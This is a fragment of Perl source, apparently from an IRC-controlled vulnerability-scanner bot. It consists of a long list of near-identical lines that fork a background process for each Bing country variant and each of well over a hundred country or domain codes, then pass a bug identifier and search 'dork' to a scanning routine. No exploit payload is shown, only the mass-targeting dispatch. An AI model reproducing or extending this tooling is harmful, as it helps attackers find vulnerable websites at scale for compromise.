if ($engine =~ /bingUK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingUK",$type,$nick); } exit; } }
if ($engine =~ /bingCA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingCA",$type,$nick); } exit; } }
if ($engine =~ /bingBR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingBR",$type,$nick); } exit; } }
if ($engine =~ /bingFR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingFR",$type,$nick); } exit; } }
if ($engine =~ /bingES/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingES",$type,$nick); } exit; } }
if ($engine =~ /bingIT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingIT",$type,$nick); } exit; } }
if ($engine =~ /bingBE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingBE",$type,$nick); } exit; } }
if ($engine =~ /bingNL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingNL",$type,$nick); } exit; } }
if ($engine =~ /bingPT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingPT",$type,$nick); } exit; } }
if ($engine =~ /bingNO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingNO",$type,$nick); } exit; } }
if ($engine =~ /bingDK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingDK",$type,$nick); } exit; } }
if ($engine =~ /bingSE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingSE",$type,$nick); } exit; } }
if ($engine =~ /bingCH/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingCH",$type,$nick); } exit; } }
if ($engine =~ /bingNZ/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingNZ",$type,$nick); } exit; } }
if ($engine =~ /bingRU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingRU",$type,$nick); } exit; } }
if ($engine =~ /bingJP/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingJP",$type,$nick); } exit; } }
if ($engine =~ /bingCN/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingCN",$type,$nick); } exit; } }
if ($engine =~ /bingKR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingKR",$type,$nick); } exit; } }
if ($engine =~ /bingMX/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingMX",$type,$nick); } exit; } }
if ($engine =~ /bingAR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingAR",$type,$nick); } exit; } }
if ($engine =~ /bingCL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingCL",$type,$nick); } exit; } }
if ($engine =~ /bingAU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingAU",$type,$nick); } exit; } }
if ($engine =~ /ae/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AE",$type,$nick); } exit; } }
if ($engine =~ /ar/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AR",$type,$nick); } exit; } }
if ($engine =~ /at/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AT",$type,$nick); } exit; } }
if ($engine =~ /au/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AU",$type,$nick); } exit; } }
if ($engine =~ /br/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BR",$type,$nick); } exit; } }
if ($engine =~ /ca/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CA",$type,$nick); } exit; } }
if ($engine =~ /cl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CL",$type,$nick); } exit; } }
if ($engine =~ /cn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CN",$type,$nick); } exit; } }
if ($engine =~ /com/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CoM",$type,$nick); } exit; } }
if ($engine =~ /cz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CZ",$type,$nick); } exit; } }
if ($engine =~ /de/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"DE",$type,$nick); } exit; } }
if ($engine =~ /dk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"DK",$type,$nick); } exit; } }
if ($engine =~ /es/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ES",$type,$nick); } exit; } }
if ($engine =~ /eu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"EU",$type,$nick); } exit; } }
if ($engine =~ /fr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"FR",$type,$nick); } exit; } }
if ($engine =~ /hu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"HU",$type,$nick); } exit; } }
if ($engine =~ /id/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ID",$type,$nick); } exit; } }
if ($engine =~ /il/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"IL",$type,$nick); } exit; } }
if ($engine =~ /in/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"IN",$type,$nick); } exit; } }
if ($engine =~ /info/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"InfO",$type,$nick); } exit; } }
if ($engine =~ /ir/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"IR",$type,$nick); } exit; } }
if ($engine =~ /it/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"IT",$type,$nick); } exit; } }
if ($engine =~ /jp/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JP",$type,$nick); } exit; } }
if ($engine =~ /kr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"KR",$type,$nick); } exit; } }
if ($engine =~ /mx/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MX",$type,$nick); } exit; } }
if ($engine =~ /my/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MY",$type,$nick); } exit; } }
if ($engine =~ /net/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NeT",$type,$nick); } exit; } }
if ($engine =~ /nl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NL",$type,$nick); } exit; } }
if ($engine =~ /org/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"OrG",$type,$nick); } exit; } }
if ($engine =~ /ph/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PH",$type,$nick); } exit; } }
if ($engine =~ /pl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PL",$type,$nick); } exit; } }
if ($engine =~ /ro/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"RO",$type,$nick); } exit; } }
if ($engine =~ /ru/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"RU",$type,$nick); } exit; } }
if ($engine =~ /th/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TH",$type,$nick); } exit; } }
if ($engine =~ /ua/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"UA",$type,$nick); } exit; } }
if ($engine =~ /uk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"UK",$type,$nick); } exit; } }
if ($engine =~ /us/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"US",$type,$nick); } exit; } }
if ($engine =~ /si/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SI",$type,$nick); } exit; } }
if ($engine =~ /be/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BE",$type,$nick); } exit; } }
if ($engine =~ /biz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BIZ",$type,$nick); } exit; } }
if ($engine =~ /xxx/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"XXX",$type,$nick); } exit; } }
if ($engine =~ /tel/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TEL",$type,$nick); } exit; } }
if ($engine =~ /tv/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TV",$type,$nick); } exit; } }
if ($engine =~ /cc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CC",$type,$nick); } exit; } }
if ($engine =~ /mil/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MIL",$type,$nick); } exit; } }
if ($engine =~ /asia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ASIA",$type,$nick); } exit; } }
if ($engine =~ /name/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NAME",$type,$nick); } exit; } }
if ($engine =~ /pro/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PRO",$type,$nick); } exit; } }
if ($engine =~ /travel/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TRAVEL",$type,$nick); } exit; } }
if ($engine =~ /cat/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CAT",$type,$nick); } exit; } }
if ($engine =~ /jobs/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JOBS",$type,$nick); } exit; } }
if ($engine =~ /mobi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MOBI",$type,$nick); } exit; } }
if ($engine =~ /aero/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AERO",$type,$nick); } exit; } }
if ($engine =~ /coop/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"COOP",$type,$nick); } exit; } }
if ($engine =~ /edu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"EDU",$type,$nick); } exit; } }
if ($engine =~ /gov/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GOV",$type,$nick); } exit; } }
if ($engine =~ /as/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AS",$type,$nick); } exit; } }
if ($engine =~ /ai/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AI",$type,$nick); } exit; } }
if ($engine =~ /ag/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AG",$type,$nick); } exit; } }
if ($engine =~ /az/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AZ",$type,$nick); } exit; } }
if ($engine =~ /bh/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BH",$type,$nick); } exit; } }
if ($engine =~ /bd/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BD",$type,$nick); } exit; } }
if ($engine =~ /bz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BZ",$type,$nick); } exit; } }
if ($engine =~ /bo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BO",$type,$nick); } exit; } }
if ($engine =~ /ba/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BA",$type,$nick); } exit; } }
if ($engine =~ /bw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BW",$type,$nick); } exit; } }
if ($engine =~ /vg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"VG",$type,$nick); } exit; } }
if ($engine =~ /bg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BG",$type,$nick); } exit; } }
if ($engine =~ /bi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BI",$type,$nick); } exit; } }
if ($engine =~ /co/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CO",$type,$nick); } exit; } }
if ($engine =~ /cd/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CD",$type,$nick); } exit; } }
if ($engine =~ /cg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CG",$type,$nick); } exit; } }
if ($engine =~ /ck/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CK",$type,$nick); } exit; } }
if ($engine =~ /cr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CR",$type,$nick); } exit; } }
if ($engine =~ /hr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"HR",$type,$nick); } exit; } }
if ($engine =~ /cu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CU",$type,$nick); } exit; } }
if ($engine =~ /ci/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CI",$type,$nick); } exit; } }
if ($engine =~ /dj/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"DJ",$type,$nick); } exit; } }
if ($engine =~ /dm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"DM",$type,$nick); } exit; } }
if ($engine =~ /do/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"DO",$type,$nick); } exit; } }
if ($engine =~ /ec/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"EC",$type,$nick); } exit; } }
if ($engine =~ /eg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"EG",$type,$nick); } exit; } }
if ($engine =~ /sv/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SV",$type,$nick); } exit; } }
if ($engine =~ /ee/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"EE",$type,$nick); } exit; } }
if ($engine =~ /et/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ET",$type,$nick); } exit; } }
if ($engine =~ /fj/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"FJ",$type,$nick); } exit; } }
if ($engine =~ /fi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"FI",$type,$nick); } exit; } }
if ($engine =~ /gm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GM",$type,$nick); } exit; } }
if ($engine =~ /gi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GI",$type,$nick); } exit; } }
if ($engine =~ /gr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GR",$type,$nick); } exit; } }
if ($engine =~ /gl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GL",$type,$nick); } exit; } }
if ($engine =~ /gt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GT",$type,$nick); } exit; } }
if ($engine =~ /gg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GG",$type,$nick); } exit; } }
if ($engine =~ /ht/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"HT",$type,$nick); } exit; } }
if ($engine =~ /hn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"HN",$type,$nick); } exit; } }
if ($engine =~ /hk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"HK",$type,$nick); } exit; } }
if ($engine =~ /is/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"IS",$type,$nick); } exit; } }
if ($engine =~ /ie/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"IE",$type,$nick); } exit; } }
if ($engine =~ /im/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"IM",$type,$nick); } exit; } }
if ($engine =~ /je/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JE",$type,$nick); } exit; } }
if ($engine =~ /jo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JO",$type,$nick); } exit; } }
if ($engine =~ /kz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"KZ",$type,$nick); } exit; } }
if ($engine =~ /ke/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"KE",$type,$nick); } exit; } }
if ($engine =~ /kg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"KG",$type,$nick); } exit; } }
if ($engine =~ /lv/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"LV",$type,$nick); } exit; } }
if ($engine =~ /ls/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"LS",$type,$nick); } exit; } }
if ($engine =~ /ly/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"LY",$type,$nick); } exit; } }
if ($engine =~ /li/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"LI",$type,$nick); } exit; } }
if ($engine =~ /lt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"LT",$type,$nick); } exit; } }
if ($engine =~ /lu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"LU",$type,$nick); } exit; } }
if ($engine =~ /mw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MW",$type,$nick); } exit; } }
if ($engine =~ /mt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MT",$type,$nick); } exit; } }
if ($engine =~ /mu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MU",$type,$nick); } exit; } }
if ($engine =~ /fm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"FM",$type,$nick); } exit; } }
if ($engine =~ /mn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MN",$type,$nick); } exit; } }
if ($engine =~ /ms/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MS",$type,$nick); } exit; } }
if ($engine =~ /ma/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MA",$type,$nick); } exit; } }
if ($engine =~ /na/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NA",$type,$nick); } exit; } }
if ($engine =~ /np/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NP",$type,$nick); } exit; } }
if ($engine =~ /nz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NZ",$type,$nick); } exit; } }
if ($engine =~ /ni/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NI",$type,$nick); } exit; } }
if ($engine =~ /nf/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NF",$type,$nick); } exit; } }
if ($engine =~ /no/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NO",$type,$nick); } exit; } }
if ($engine =~ /om/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"OM",$type,$nick); } exit; } }
if ($engine =~ /pk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PK",$type,$nick); } exit; } }
if ($engine =~ /pa/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PA",$type,$nick); } exit; } }
if ($engine =~ /py/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PY",$type,$nick); } exit; } }
if ($engine =~ /pe/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PE",$type,$nick); } exit; } }
if ($engine =~ /pn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PN",$type,$nick); } exit; } }
if ($engine =~ /pt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PT",$type,$nick); } exit; } }
if ($engine =~ /pr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PR",$type,$nick); } exit; } }
if ($engine =~ /qa/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"QA",$type,$nick); } exit; } }
if ($engine =~ /rw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"RW",$type,$nick); } exit; } }
if ($engine =~ /sh/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SH",$type,$nick); } exit; } }
if ($engine =~ /sm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SM",$type,$nick); } exit; } }
if ($engine =~ /sa/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SA",$type,$nick); } exit; } }
if ($engine =~ /sn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SN",$type,$nick); } exit; } }
if ($engine =~ /sc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SC",$type,$nick); } exit; } }
if ($engine =~ /sg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SG",$type,$nick); } exit; } }
if ($engine =~ /sk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SK",$type,$nick); } exit; } }
if ($engine =~ /za/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ZA",$type,$nick); } exit; } }
if ($engine =~ /lk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"LK",$type,$nick); } exit; } }
if ($engine =~ /vc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"VC",$type,$nick); } exit; } }
if ($engine =~ /se/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SE",$type,$nick); } exit; } }
if ($engine =~ /ch/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CH",$type,$nick); } exit; } }
if ($engine =~ /tw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TW",$type,$nick); } exit; } }
if ($engine =~ /tj/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TJ",$type,$nick); } exit; } }
if ($engine =~ /bs/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BS",$type,$nick); } exit; } }
if ($engine =~ /to/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TO",$type,$nick); } exit; } }
if ($engine =~ /tt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TT",$type,$nick); } exit; } }
if ($engine =~ /tr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TR",$type,$nick); } exit; } }
if ($engine =~ /tm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TM",$type,$nick); } exit; } }
if ($engine =~ /vi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"VI",$type,$nick); } exit; } }
if ($engine =~ /ug/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"UG",$type,$nick); } exit; } }
if ($engine =~ /uy/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"UY",$type,$nick); } exit; } }
